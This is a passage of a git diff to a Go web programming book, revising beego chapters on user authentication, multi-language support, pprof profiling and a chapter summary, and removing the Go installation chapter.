+在开发Web应用过程中,用户认证是开发者经常遇到的问题,用户登录、注册、登出等操作,而一般认证也分为三个方面的认证 -In the process of developing Web applications, user authentication is frequently encountered problems developers, user log in, registration, log out and other operations, and the general certification is also divided into three aspects of certification +- HTTP Basic和 HTTP Digest认证 +- 第三方集成认证:QQ、微博、豆瓣、OPENID、google、github、facebook和twitter等 +- 自定义的用户登录、注册、登出,一般都是基于session、cookie认证 -- HTTP Basic and HTTP Digest Authentication -- Third Party Certified Integration: QQ, micro-blogging, watercress, OPENID, Google, GitHub, Facebook and twitter, etc. -- Custom user log in, registration, log out, are generally based on session, cookie authentication +beego目前没有针对这三种方式进行任何形式的集成,但是可以充分的利用第三方开源库来实现上面的三种方式的用户认证,不过后续beego会对前面两种认证逐步集成。 -beego There is no way for any of these three forms of integration, but can make use of third party open source library to achieve the above three methods of user authentication, but the first two subsequent authentication beego be gradually integrated. - -## HTTP basic and digest authentication - -These two certifications are some applications using relatively simple authentication, there are already open source third-party library supports both authentication: - - github.com/abbot/go-http-auth - -The following code demonstrates how to use this library in order to achieve the introduction of beego Certification: +## HTTP Basic和 HTTP Digest认证 +这两个认证是一些应用采用的比较简单的认证,目前已经有开源的第三方库支持这两个认证: + + github.com/abbot/go-http-auth +下面代码演示了如何把这个库引入beego中从而实现认证: package controllers @@ -49,25 +46,24 @@ The following code demonstrates how to use this library in order to achieve the this.TplNames = "index.tpl" } -The above code takes advantage of beego the prepare function in the normal logic function is called before the certification, so it is very simple to achieve a http auth, digest authentication is the same principle. +上面代码利用了beego的prepare函数,在执行正常逻辑之前调用了认证函数,这样就非常简单的实现了http auth,digest的认证也是同样的原理。 -## OAuth and OAuth 2 certification - -OAuth and OAuth 2 is currently more popular two authentication methods, but fortunately, there is a third-party library to achieve this certification, but it is realized abroad, and did not QQ, microblogging like domestic application certified integration: +## oauth和oauth2的认证 +oauth和oauth2是目前比较流行的两种认证方式,还好第三方有一个库实现了这个认证,但是是国外实现的,并没有QQ、微博之类的国内应用认证集成: github.com/bradrydzewski/go.auth -The following code demonstrates how to put the library in order to achieve the introduction of beego OAuth authentication, an example to demonstrate GitHub here: +下面代码演示了如何把该库引入beego中从而实现oauth的认证,这里以github为例演示: -1. Add two routes +1. 添加两条路由 beego.RegisterController("/auth/login", &controllers.GithubController{}) beego.RegisterController("/mainpage", &controllers.PageController{}) -2. Then we deal GithubController landing page: +2. 然后我们处理GithubController登陆的页面: package controllers - + import ( "github.com/astaxie/beego" "github.com/bradrydzewski/go.auth" @@ -93,7 +89,8 @@ The following code demonstrates how to put the library in order to achieve the i githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) } -3. treatment after successful landing pages + +3. 处理登陆成功之后的页面 package controllers @@ -130,29 +127,29 @@ The following code demonstrates how to put the library in order to achieve the i this.TplNames = "home.tpl" } -The whole process is as follows, first open your browser and enter the address: +整个的流程如下,首先打开浏览器输入地址: ![](images/14.4.github.png?raw=true) -Figure 14.4 shows the home page with a log in button +图14.4 显示带有登录按钮的首页 -Then click on the link following screen appears: +然后点击链接出现如下界面: ![](images/14.4.github2.png?raw=true) -Figure 14.5 is displayed after clicking the log in button authorization GitHub page +图14.5 点击登录按钮后显示github的授权页 -Then click Authorize app will appear the following interface: +然后点击Authorize app就出现如下界面: ![](images/14.4.github3.png?raw=true) -Figure 14.6 is displayed after log in authorization to obtain information page GitHub +图14.6 授权登录之后显示的获取到的github信息页 + +## 自定义认证 +自定义的认证一般都是和session结合验证的,如下代码来源于一个基于beego的开源博客: -## Custom authentication -Custom authentication and session are generally a combination of proven, the following code from an open source based beego blog: - - //Login process + //登陆处理 func (this *LoginController) Post() { this.TplNames = "login.tpl" this.Ctx.Request.ParseForm() @@ -172,7 +169,7 @@ Custom authentication and session are generally a combination of proven, the fol users.Last_logintime = now models.UpdateUserInfo(users) - //Set the session successful login + //登录成功设置session sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) sess.Set("uid", userInfo.Id) sess.Set("uname", userInfo.Username) @@ -181,7 +178,7 @@ Custom authentication and session are generally a combination of proven, the fol } } - //Registration process + //注册处理 func (this *RegController) Post() { this.TplNames = "reg.tpl" this.Ctx.Request.ParseForm() @@ -218,7 +215,7 @@ Custom authentication and session are generally a combination of proven, the fol users.Last_logintime = now models.AddUser(users) - //Set the session successful login + //登录成功设置session sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) sess.Set("uid", userInfo.Id) sess.Set("uname", userInfo.Username) @@ -242,8 +239,8 @@ Custom authentication and session are generally a combination of proven, the fol } return true } - -With the user log in and registration, where you can add other modules such as the judgment of whether the user log in: + +有了用户登陆和注册之后,其他模块的地方可以增加如下这样的用户是否登陆的判断: func (this *AddBlogController) Prepare() { sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) @@ -256,9 +253,7 @@ With the user log in and registration, where you can add other modules such as t this.Data["Username"] = sess_username } -## Links - -- [Directory](preface.md) -- Previous section: [Form](14.3.md) -- Next section: [Multi-language support](14.5.md) - +## links + * [目录]() + * 上一节: [表单及验证支持](<14.3.md>) + * 下一节: [多语言支持](<14.5.md>) \ No newline at end of file diff --git a/en/14.5.md b/en/14.5.md index 422904a0..f656bc6c 100644 --- a/en/14.5.md +++ b/en/14.5.md @@ -1,113 +1,118 @@ -# 14.5 多语言支持 -我们在第十章介绍过国际化和本地化,开发了一个go-i18n库,这小节我们将把该库集成到beego框架里面来,使得我们的框架支持国际化和本地化。 - -## i18n集成 -beego中设置全局变量如下: - - Translation i18n.IL - Lang string //设置语言包,zh、en - LangPath string //设置语言包所在位置 - -初始化多语言函数: - - func InitLang(){ - beego.Translation:=i18n.NewLocale() - beego.Translation.LoadPath(beego.LangPath) - beego.Translation.SetLocale(beego.Lang) - } - -为了方便在模板中直接调用多语言包,我们设计了三个函数来处理响应的多语言: - - beegoTplFuncMap["Trans"] = i18n.I18nT - beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate - beegoTplFuncMap["TransMoney"] = i18n.I18nMoney - - func I18nT(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Translate(s) - } - - func I18nTimeDate(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Time(s) - } - - func I18nMoney(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return beego.Translation.Money(s) - } - -## 多语言开发使用 -1. 设置语言以及语言包所在位置,然后初始化i18n对象: - - beego.Lang = "zh" - beego.LangPath = "views/lang" - beego.InitLang() - -2. 设计多语言包 - - 上面讲了如何初始化多语言包,现在设计多语言包,多语言包是json文件,如第十章介绍的一样,我们需要把设计的文件放在LangPath下面,例如zh.json或者en.json - - # zh.json - - { - "zh": { - "submit": "提交", - "create": "创建" - } - } - - #en.json - - { - "en": { - "submit": "Submit", - "create": "Create" - } - } - -3. 使用语言包 - - 我们可以在controller中调用翻译获取响应的翻译语言,如下所示: - - func (this *MainController) Get() { - this.Data["create"] = beego.Translation.Translate("create") - this.TplNames = "index.tpl" - } - - 我们也可以在模板中直接调用响应的翻译函数: - - //直接文本翻译 - {{.create | Trans}} - - //时间翻译 - {{.time | TransDate}} - - //货币翻译 - {{.money | TransMoney}} - -## links - * [目录]() - * 上一节: [用户认证](<14.4.md>) - * 下一节: [pprof支持](<14.6.md>) \ No newline at end of file +# 14.5 Multi-language support + +We introduced in Chapter internationalization and localization, we developed a go-i18n library, the library this section we will integrate beego frame inside, making our framework supports internationalization and localization. + +## I18n integration + +beego global variable is set as follows: + + Translation i18n.IL + Lang string // set the language pack, zh, en + LangPath string // set the language pack location + +Multi-language function to initialize: + + func InitLang(){ + beego.Translation:=i18n.NewLocale() + beego.Translation.LoadPath(beego.LangPath) + beego.Translation.SetLocale(beego.Lang) + } + +In order to facilitate more direct call in the template language pack, we have designed three functions to handle the response of multiple languages: + + beegoTplFuncMap["Trans"] = i18n.I18nT + beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate + beegoTplFuncMap["TransMoney"] = i18n.I18nMoney + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Translate(s) + } + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Time(s) + } + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Money(s) + } + +## Use multi-language development + +1. Set the location of language and language packs, then initialize the i18n objects: + + beego.Lang = "zh" + beego.LangPath = "views/lang" + beego.InitLang() + +2. Design Multi-language Pack + + The above talked about how to initialize multi language pack, the language pack is now designing multi, multi-language package is json file, as described in Chapter X, we need to design a document on LangPath following example zh.json or en.json + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +3. Use the Language Pack + + We can call the controller to get the response of the translation language translation, as follows: + + func (this *MainController) Get() { + this.Data["create"] = beego.Translation.Translate("create") + this.TplNames = "index.tpl" + } + + We can also directly call response in the template translation function: + + // Direct Text translation + {{.create | Trans}} + + // Time to translate + {{.time | TransDate}} + + // Currency translation + {{.money | TransMoney}} + +## Links + +- [Directory](preface.md) +- Previous section: [User validation](14.4.md) +- Next section: [pprof](14.6.md) + diff --git a/en/14.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/14.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..26268480 --- /dev/null +++ b/en/14.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,113 @@ +# 14.5 多语言支持 +我们在第十章介绍过国际化和本地化,开发了一个go-i18n库,这小节我们将把该库集成到beego框架里面来,使得我们的框架支持国际化和本地化。 + +## i18n集成 +beego中设置全局变量如下: + + Translation i18n.IL + Lang string //设置语言包,zh、en + LangPath string //设置语言包所在位置 + +初始化多语言函数: + + func InitLang(){ + beego.Translation:=i18n.NewLocale() + beego.Translation.LoadPath(beego.LangPath) + beego.Translation.SetLocale(beego.Lang) + } + +为了方便在模板中直接调用多语言包,我们设计了三个函数来处理响应的多语言: + + beegoTplFuncMap["Trans"] = i18n.I18nT + beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate + beegoTplFuncMap["TransMoney"] = i18n.I18nMoney + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Translate(s) + } + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Time(s) + } + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return beego.Translation.Money(s) + } + +## 多语言开发使用 +1. 设置语言以及语言包所在位置,然后初始化i18n对象: + + beego.Lang = "zh" + beego.LangPath = "views/lang" + beego.InitLang() + +2. 设计多语言包 + + 上面讲了如何初始化多语言包,现在设计多语言包,多语言包是json文件,如第十章介绍的一样,我们需要把设计的文件放在LangPath下面,例如zh.json或者en.json + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +3. 使用语言包 + + 我们可以在controller中调用翻译获取响应的翻译语言,如下所示: + + func (this *MainController) Get() { + this.Data["create"] = beego.Translation.Translate("create") + this.TplNames = "index.tpl" + } + + 我们也可以在模板中直接调用响应的翻译函数: + + //直接文本翻译 + {{.create | Trans}} + + //时间翻译 + {{.time | TransDate}} + + //货币翻译 + {{.money | TransMoney}} + +## links + * [目录]() + * 上一节: [用户认证](<14.4.md>) + * 下一节: [pprof支持](<14.6.md>) \ No newline at end of file diff --git a/en/14.6.md b/en/14.6.md index a5a28500..e22d46ab 100644 --- a/en/14.6.md +++ b/en/14.6.md @@ -1,105 +1,110 @@ -# 14.6 pprof支持 -Go语言有一个非常棒的设计就是标准库里面带有代码的性能监控工具,在两个地方有包: - - net/http/pprof - - runtime/pprof - -其实net/http/pprof中只是使用runtime/pprof包来进行封装了一下,并在http端口上暴露出来 - -## beego支持pprof -目前beego框架新增了pprof,该特性默认是不开启的,如果你需要测试性能,查看相应的执行goroutine之类的信息,其实Go的默认包"net/http/pprof"已经具有该功能,如果按照Go默认的方式执行Web,默认就可以使用,但是由于beego重新封装了ServHTTP函数,默认的包是无法开启该功能的,所以需要对beego的内部改造支持pprof。 - -- 首先在beego.Run函数中根据变量是否自动加载性能包 - - if PprofOn { - BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) - BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) - } - -- 设计ProfConterller - - package beego - - import ( - "net/http/pprof" - ) - - type ProfController struct { - Controller - } - - func (this *ProfController) Get() { - switch this.Ctx.Params[":pp"] { - default: - pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) - case "": - pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) - case "cmdline": - pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) - case "profile": - pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) - case "symbol": - pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) - } - this.Ctx.ResponseWriter.WriteHeader(200) - } - - -## 使用入门 - -通过上面的设计,你可以通过如下代码开启pprof: - - beego.PprofOn = true - -然后你就可以在浏览器中打开如下URL就看到如下界面: -![](images/14.6.pprof.png?raw=true) - -图14.7 系统当前goroutine、heap、thread信息 - -点击goroutine我们可以看到很多详细的信息: - -![](images/14.6.pprof2.png?raw=true) - -图14.8 显示当前goroutine的详细信息 - -我们还可以通过命令行获取更多详细的信息 - - go tool pprof http://localhost:8080/debug/pprof/profile - -这时候程序就会进入30秒的profile收集时间,在这段时间内拼命刷新浏览器上的页面,尽量让cpu占用性能产生数据。 - - (pprof) top10 - - Total: 3 samples - - 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked - - 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors - - 1 33.3% 100.0% 1 33.3% runtime.sigprocmask - - 0 0.0% 100.0% 1 33.3% MCentral_Grow - - 0 0.0% 100.0% 2 66.7% main.Compile - - 0 0.0% 100.0% 2 66.7% main.compile - - 0 0.0% 100.0% 2 66.7% main.run - - 0 0.0% 100.0% 1 33.3% makeslice1 - - 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP - - 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve - - (pprof)web - -![](images/14.6.pprof3.png?raw=true) - -图14.9 展示的执行流程信息 - -## links - * [目录]() - * 上一节: [多语言支持](<14.5.md>) - * 下一节: [小结](<14.7.md>) \ No newline at end of file +# 14.6 pprof + +Go language has a great design is the standard library with code performance monitoring tools, there are packages in two places: + + net/http/pprof + + runtime/pprof + +In fact, `net/http/pprof` in just using `runtime/pprof` package for packaging a bit, and exposed on the http port + +## Beego support pprof + +Currently beego framework adds pprof, this feature is not turned on by default, if you need to test performance, view the execution goroutine such information, in fact, Go's default package "net/http/pprof" already has this feature, and if Go manner in accordance with the default Web, you can use the default, but because beego repackaged ServHTTP function, so if you can not open the default includes this feature, so the need for internal reform beego support pprof. + +- First in beego.Run function automatically according to whether the variable load performance pack + + if PprofOn { + BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) + BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) + } + +- Design ProfConterller + + package beego + + import ( + "net/http/pprof" + ) + + type ProfController struct { + Controller + } + + func (this *ProfController) Get() { + switch this.Ctx.Params[":pp"] { + default: + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "": + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "cmdline": + pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) + case "profile": + pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) + case "symbol": + pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) + } + this.Ctx.ResponseWriter.WriteHeader(200) + } + + +## Getting started + +Through the above design, you can use the following code to open pprof: + + beego.PprofOn = true + +Then you can open in a browser the following URL to see the following interface: + +![](images/14.6.pprof.png?raw=true) + +Figure 14.7 current system goroutine, heap, thread information + +Click goroutine we can see a lot of detailed information: + +![](images/14.6.pprof2.png?raw=true) + +Figure 14.8 shows the current goroutine details + +We can also get more details from the command line information + + go tool pprof http://localhost:8080/debug/pprof/profile + +This time the program will enter the profile collection time of 30 seconds, during which time desperately to refresh the page on the browser, try to make cpu usage performance data. + + (pprof) top10 + + Total: 3 samples + + 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked + + 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors + + 1 33.3% 100.0% 1 33.3% runtime.sigprocmask + + 0 0.0% 100.0% 1 33.3% MCentral_Grow + + 0 0.0% 100.0% 2 66.7% main.Compile + + 0 0.0% 100.0% 2 66.7% main.compile + + 0 0.0% 100.0% 2 66.7% main.run + + 0 0.0% 100.0% 1 33.3% makeslice1 + + 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP + + 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve + + (pprof)web + +![](images/14.6.pprof3.png?raw=true) + +Figure 14.9 shows the execution flow of information + +## Links + +- [Directory](preface.md) +- Previous section: [Multi-language support](14.5.md) +- Next section: [Summary](14.7.md) + diff --git a/en/14.6.md~380a8ee74c41759d8189ad553423467994187253 b/en/14.6.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..ffab1346 --- /dev/null +++ b/en/14.6.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,105 @@ +# 14.6 pprof支持 +Go语言有一个非常棒的设计就是标准库里面带有代码的性能监控工具,在两个地方有包: + + net/http/pprof + + runtime/pprof + +其实net/http/pprof中只是使用runtime/pprof包来进行封装了一下,并在http端口上暴露出来 + +## beego支持pprof +目前beego框架新增了pprof,该特性默认是不开启的,如果你需要测试性能,查看相应的执行goroutine之类的信息,其实Go的默认包"net/http/pprof"已经具有该功能,如果按照Go默认的方式执行Web,默认就可以使用,但是由于beego重新封装了ServHTTP函数,默认的包是无法开启该功能的,所以需要对beego的内部改造支持pprof。 + +- 首先在beego.Run函数中根据变量是否自动加载性能包 + + if PprofOn { + BeeApp.RegisterController(`/debug/pprof`, &ProfController{}) + BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{}) + } + +- 设计ProfConterller + + package beego + + import ( + "net/http/pprof" + ) + + type ProfController struct { + Controller + } + + func (this *ProfController) Get() { + switch this.Ctx.Params[":pp"] { + default: + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "": + pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request) + case "cmdline": + pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request) + case "profile": + pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request) + case "symbol": + pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request) + } + this.Ctx.ResponseWriter.WriteHeader(200) + } + + +## 使用入门 + +通过上面的设计,你可以通过如下代码开启pprof: + + beego.PprofOn = true + +然后你就可以在浏览器中打开如下URL就看到如下界面: +![](images/14.6.pprof.png?raw=true) + +图14.7 系统当前goroutine、heap、thread信息 + +点击goroutine我们可以看到很多详细的信息: + +![](images/14.6.pprof2.png?raw=true) + +图14.8 显示当前goroutine的详细信息 + +我们还可以通过命令行获取更多详细的信息 + + go tool pprof http://localhost:8080/debug/pprof/profile + +这时候程序就会进入30秒的profile收集时间,在这段时间内拼命刷新浏览器上的页面,尽量让cpu占用性能产生数据。 + + (pprof) top10 + + Total: 3 samples + + 1 33.3% 33.3% 1 33.3% MHeap_AllocLocked + + 1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors + + 1 33.3% 100.0% 1 33.3% runtime.sigprocmask + + 0 0.0% 100.0% 1 33.3% MCentral_Grow + + 0 0.0% 100.0% 2 66.7% main.Compile + + 0 0.0% 100.0% 2 66.7% main.compile + + 0 0.0% 100.0% 2 66.7% main.run + + 0 0.0% 100.0% 1 33.3% makeslice1 + + 0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP + + 0 0.0% 100.0% 2 66.7% net/http.(*conn).serve + + (pprof)web + +![](images/14.6.pprof3.png?raw=true) + +图14.9 展示的执行流程信息 + +## links + * [目录]() + * 上一节: [多语言支持](<14.5.md>) + * 下一节: [小结](<14.7.md>) \ No newline at end of file diff --git a/en/14.7.md b/en/14.7.md index 586fa498..a10dd446 100644 --- a/en/14.7.md +++ b/en/14.7.md @@ -1,6 +1,10 @@ -# 14.7 小结 -这一章主要阐述了如何基于beego框架进行扩展,这包括静态文件的支持,静态文件主要讲述了如何利用beego进行快速的网站开发,利用bootstrap搭建漂亮的站点;第二小结讲解了如何在beego中集成sessionManager,方便用户在利用beego的时候快速的使用session;第三小结介绍了表单和验证,基于Go语言的struct的定义使得我们在开发Web的过程中从重复的工作中解放出来,而且加入了验证之后可以尽量做到数据安全,第四小结介绍了用户认证,用户认证主要有三方面的需求,http basic和http digest认证,第三方认证,自定义认证,通过代码演示了如何利用现有的第三方包集成到beego应用中来实现这些认证;第五小节介绍了多语言的支持,beego中集成了go-i18n这个多语言包,用户可以很方便的利用该库开发多语言的Web应用;第六小节介绍了如何集成Go的pprof包,pprof包是用于性能调试的工具,通过对beego的改造之后集成了pprof包,使得用户可以利用pprof测试基于beego开发的应用,通过这六个小节的介绍我们扩展出来了一个比较强壮的beego框架,这个框架足以应付目前大多数的Web应用,用户可以继续发挥自己的想象力去扩展,我这里只是简单的介绍了我能想的到的几个比较重要的扩展。 - -## links - * [目录]() - * 上一节: [pprof支持](<14.6.md>) \ No newline at end of file +# 14.7 Summary + +This chapter explains how to extend the framework based on beego, which includes support for static files, static files, mainly about how to use beego for rapid web development using bootstrap to build a beautiful site; second summary explaining how beego in integrated sessionManager, user-friendly in use beego quickly when using session; Third Summary describes the forms and validation, based on the Go language allows us to define a struct in the process of developing Web from repetitive work of liberation, and joined the after verification of data security can be as far as possible, the fourth summary describes the user authentication, user authentication, there are three main requirements, http basic and http digest certification, third party certification, custom certification through code demonstrates how to use the existing section tripartite package integrated into beego applications to achieve these certifications; fifth section describes multi-language support, beego integrated go-i18n this multi-language pack, users can easily use the library develop multi-language Web applications; section six subsections describe how to integrate Go's pprof packages, pprof package is used for performance debugging tools, after the transformation by beego integrated pprof package, enabling users to take advantage of pprof test beego based applications developed by these six subsections introduces us to expand out a relatively strong beego framework that is sufficient to meet most of the current Web applications, users can continue to play to their imagination to expand, I am here only a brief introduction I can think of to compare several important extensions. + +## Links + +- [Directory](preface.md) +- Previous section: [pprof](14.6.md) +- Next chapter: [Appendix A References](ref.md) + diff --git a/en/14.7.md~380a8ee74c41759d8189ad553423467994187253 b/en/14.7.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..b4c70795 --- /dev/null +++ b/en/14.7.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,6 @@ +# 14.7 小结 +这一章主要阐述了如何基于beego框架进行扩展,这包括静态文件的支持,静态文件主要讲述了如何利用beego进行快速的网站开发,利用bootstrap搭建漂亮的站点;第二小结讲解了如何在beego中集成sessionManager,方便用户在利用beego的时候快速的使用session;第三小结介绍了表单和验证,基于Go语言的struct的定义使得我们在开发Web的过程中从重复的工作中解放出来,而且加入了验证之后可以尽量做到数据安全,第四小结介绍了用户认证,用户认证主要有三方面的需求,http basic和http digest认证,第三方认证,自定义认证,通过代码演示了如何利用现有的第三方包集成到beego应用中来实现这些认证;第五小节介绍了多语言的支持,beego中集成了go-i18n这个多语言包,用户可以很方便的利用该库开发多语言的Web应用;第六小节介绍了如何集成Go的pprof包,pprof包是用于性能调试的工具,通过对beego的改造之后集成了pprof包,使得用户可以利用pprof测试基于beego开发的应用,通过这六个小节的介绍我们扩展出来了一个比较强壮的beego框架,这个框架足以应付目前大多数的Web应用,用户可以继续发挥自己的想象力去扩展,我这里只是简单的介绍了我能想的到的几个比较重要的扩展。 + +## links + * [目录]() + * 上一节: [pprof支持](<14.6.md>) \ No newline at end of file diff --git a/en/eBook/01.0.md b/en/eBook/01.0.md deleted file mode 100644 index a1e30140..00000000 --- a/en/eBook/01.0.md +++ /dev/null @@ -1,20 +0,0 @@ -# 1 Go Environment Configuration - -Welcome to the world of Go, let's start exploring! - -Go is a fast-compiled, garbage-collected, concurrent systems programming language. It has the following advantages: - -- Compiles a large project within a few seconds. -- Provides a software development model that is easy to reason about, avoiding most of the problems associated with C-style header files. -- Is a static language that does not have levels in its type system, so users do not need to spend much time dealing with relations between types. It is more like a lightweight object-oriented language. -- Performs garbage collection. It provides basic support for concurrency and communication. -- Designed for multi-core computers. - -Go is a compiled language. It combines the development efficiency of interpreted or dynamic languages with the security of static languages. It is going to be the language of choice for modern, multi-core computers with networking. For these purposes, there are some problems that need to inherently be resolved at the level of the language of choice, such as a richly expressive lightweight type system, a native concurrency model, and strictly regulated garbage collection. For quite some time, no packages or tools have emerged that have aimed to solve all of these problems in a pragmatic fashion; thus was born the motivation for the Go language. - -In this chapter, I will show you how to install and configure your own Go development environment. - -## Links - -- [Directory](preface.md) -- Next section: [Installation](01.1.md) diff --git a/en/eBook/01.1.md b/en/eBook/01.1.md deleted file mode 100644 index 41ccc4bc..00000000 --- a/en/eBook/01.1.md +++ /dev/null @@ -1,123 +0,0 @@ -# 1.1 Installation - -## Three ways to install Go - -There are many ways to configure the Go development environment on your computer, and you can choose whichever one you like. The three most common ways are as follows. - - -- Official installation packages. - - The Go team provides convenient installation packages in Windows, Linux, Mac and other operating systems. This is probably the easiest way to get started. -- Install it yourself from source code. - - Popular with developers who are familiar with Unix-like systems. -- Using third-party tools. - - There are many third-party tools and package managers for installing Go, like apt-get in Ubuntu and homebrew for Mac. - -In case you want to install more than one version of Go on a computer, you should take a look at a tool called [GVM](https://github.com/moovweb/gvm). It is the best tool I've seen so far for accomplishing this task, otherwise you'd have to deal with it yourself. - -## Install from source code - -Because some parts of Go are written in Plan 9 C and AT&T assembler, you have to install a C compiler before taking the next step. - -On a Mac, if you have installed Xcode, you already have the compiler. - -On Unix-like systems, you need to install gcc or a similar compiler. For example, using the package manager apt-get (included with Ubuntu), one can install the required compilers as follows: - - `sudo apt-get install gcc libc6-dev` - -On Windows, you need to install MinGW in order to install gcc. Don't forget to configure your environment variables after the installation has completed.( ***Everything that looks like this means it's commented by a translator: If you are using 64-bit Windows, you should install the 64-bit version of MinGW*** ) - -The Go team uses [Mercurial](http://mercurial.selenic.com/downloads/) to manage their source code, so you need to install this tool in order to download the Go source code. - -At this point, execute the following commands to clone the Go source code and compile it.( ***It will clone the source code to your current directory. Switch your work path before you continue. This may take some time.*** ) - - hg clone -u release https://code.google.com/p/go - cd go/src - ./all.bash - -A successful installation will end with the message "ALL TESTS PASSED." - -On Windows, you can achieve the same by running `all.bat`. - -If you are using Windows, the installation package will set your environment variables automatically. In Unix-like systems, you need to set these variables manually as follows. ( ***If your Go version is greater than 1.0, you don't have to set $GOBIN, and it will automatically be related to your $GOROOT/bin, which we will talk about in the next section***) - - export GOROOT=$HOME/go - export GOBIN=$GOROOT/bin - export PATH=$PATH:$GOROOT/bin - -If you see the following information on your screen, you're all set. - -![](images/1.1.mac.png?raw=true) - -Figure 1.1 Information after installing from source code - -Once you see the usage information of Go, it means you have successfully installed Go on your computer. If it says "no such command", check that your $PATH environment variable contains the installation path of Go. - -## Using the standard installation packages - -Go has one-click installation packages for every supported operating system. These packages will install Go in `/usr/local/go` (`c:\Go` in Windows) by default. Of course this can be modified, but you also need to change all the environment variables manually as I've shown above. - -### How to check if your operating system is 32-bit or 64-bit? - -Our next step depends on your operating system type, so we have to check it before we download the standard installation packages. - -If you are using Windows, press `Win+R` and then run the command tool. Type the `systeminfo` command and it will show you some useful system information. Find the line that says "system type" -if you see "x64-based PC" that means your operating system is 64-bit, 32-bit otherwise. - -I strongly recommend downloading the 64-bit package if you are a Mac user, as Go no longer supports pure 32-bit processors on Mac OSX. - -Linux users can type `uname -a` in the terminal to see system information. -A 64-bit operating system will show the following: - - x86_64 x86_64 x86_64 GNU/Linux - // some machines such as Ubuntu 10.04 will show as following - x86_64 GNU/Linux - -32-bit operating systems instead show: - - i686 i686 i386 GNU/Linux - -### Mac - -Go to the [download page](http://code.google.com/p/go/downloads/list), choose `go1.0.3.darwin-386.pkg` for 32-bit systems and `go1.0.3.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in igure 1.1. - -### Linux - -Go to the [download page]((http://code.google.com/p/go/downloads/list), choose `go1.0.3.linux-386.tar.gz` for 32-bit systems and `go1.0.3.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.0.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You 